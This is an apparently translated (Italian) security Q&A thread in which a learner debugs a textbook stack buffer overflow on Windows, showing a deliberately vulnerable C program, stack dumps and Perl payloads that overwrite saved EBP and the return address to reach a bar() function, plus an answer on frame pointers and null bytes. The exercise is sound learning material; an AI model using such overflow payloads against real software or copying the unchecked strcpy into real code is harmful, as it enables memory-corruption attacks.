Problema di bypass EBP

0

Sono abbastanza nuovo per sfruttare lo sviluppo utilizzando buffer overflow. Ho trovato un codice di esempio in un libro a cui mi riferisco e il codice di esempio non viene eseguito correttamente. Ecco il mio codice ...

#pragma check_stack(off)

void foo(const char* input)
{
    char buf[10];
    printf("stack is: \n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
    strcpy(buf,input);
    printf("%s\n",buf);
    printf("Stack is now:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}

void bar(void)
{
    printf("Hacked");
}
int main(int argc, char* argv[])
{
    printf("Address of foo is %p\n",foo);
    printf("Address of bar is %p\n",bar);
    if(argc!=2)
    {
        printf("Please supply a string as an argument");
        return -1;
    }
    foo(argv[1]);
    return 0;
}

Compilare il mio codice usando la suite di compilatori MinGW per Windows, e quando eseguo il programma dalla riga di comando, vedo l'output del contenuto dello stack.

Address of foo is 00401340

Address of bar is 0040137D

stack is:

00401280

0032D000

0000001B

0060FECC

B76EDE61

0060FFCC

7786D1F0

B76EDBA9

FFFFFFFE

0060FF18

004013F0

Hello

Stack is now:

00710CFA

0032D000

0000001B

0060FECC

6548DE61

006F6C6C

7786D1F0

B76EDBA9

FFFFFFFE

0060FF18

004013F0

Fin qui tutto bene, vedo l'inizio del mio buffer e anche l'indirizzo di ritorno della funzione, in questo caso 0x004013F0 . Inoltre, EBP è pari a 0x0060FF18 . Il problema inizia quando fornisco un input che sovrascrive EBP . Anche quando EBP viene sovrascritto, ottengo un errore e il mio programma si arresta in modo anomalo. Il mio obiettivo principale è quello di sovrascrivere l'indirizzo di ritorno per ottenere la barra di esecuzione del programma (). Sovrascrivo forzatamente EBP e poi fornisco anche l'input che cambia l'indirizzo di ritorno in bar (), la barra viene eseguita, ma il mio programma si arresta in modo anomalo. Ho provato uno script perl che invia l'indirizzo come input compilato. Realizzo il mio input in modo che il valore EBP non cambi.

$arg="AAAAAAAAAAAAAAAAAA"."\x18\xFF\x60\x00\x7D\x13\x40\x00";
$cmd="ydy ".$arg;
system($cmd);

In questo caso, l'indirizzo di ritorno non viene sovrascritto. Ma se cambio l'indirizzo in

$arg="AAAAAAAAAAAAAAAAAA"."\x12\xFF\x60\x00\x7D\x13\x40\x00";
$cmd="sample ".$arg;
system($cmd);

Il EBP viene sovrascritto e restituisce anche l'indirizzo. bar () viene eseguito ma il programma si blocca. Le mie domande sono:     1. Perché la corruzione EBP causa il crash del programma? Non l'ho mai saputo.     2. Perché l'indirizzo di ritorno non viene sovrascritto nel caso 1 dello script, ma viene sovrascritto quando l'input creato sovrascrive EBP ?

So che è lungo, gentilmente aiutami. Grazie.

    
posta Vinay 24.07.2016 - 13:09
fonte

1 risposta

0
  1. Why does EBP corruption causing program crash?

Il registro EBP (Extended Base Pointer) punta alla base del frame stack della funzione corrente. Alcuni compilatori lo usano per trovare variabili locali all'interno dello stack frame. Ad esempio, se nella tua funzione hai due valori locali, il compilatore potrebbe accedervi con *(ebp - 4) e *(ebp - 8) .

L'EBP per la funzione precedente (ad esempio quella a cui torneremo) viene salvata nello stack frame della funzione corrente. Questo è presumibilmente il 0x0060ff18 che vedi. Se modifichiamo questo EBP salvato, la funzione a cui ritorneremo avrà un EBP non valido e cercherà le variabili locali nel posto sbagliato (ad esempio, dal momento che *(ebp - 4) punta ora a una posizione diversa).

  1. Why isn't the return address getting overwritten?

Non penso che l'indirizzo di ritorno debba essere sovrascritto in entrambi i casi, poiché il tuo argomento contiene un byte null ( \x00 ) prima del nuovo indirizzo di ritorno. I byte null vengono utilizzati per terminare le stringhe in C, quindi qualsiasi carattere dopo il primo byte null verrà ignorato.

    
risposta data 24.07.2016 - 15:27
fonte

Leggi altre domande sui tag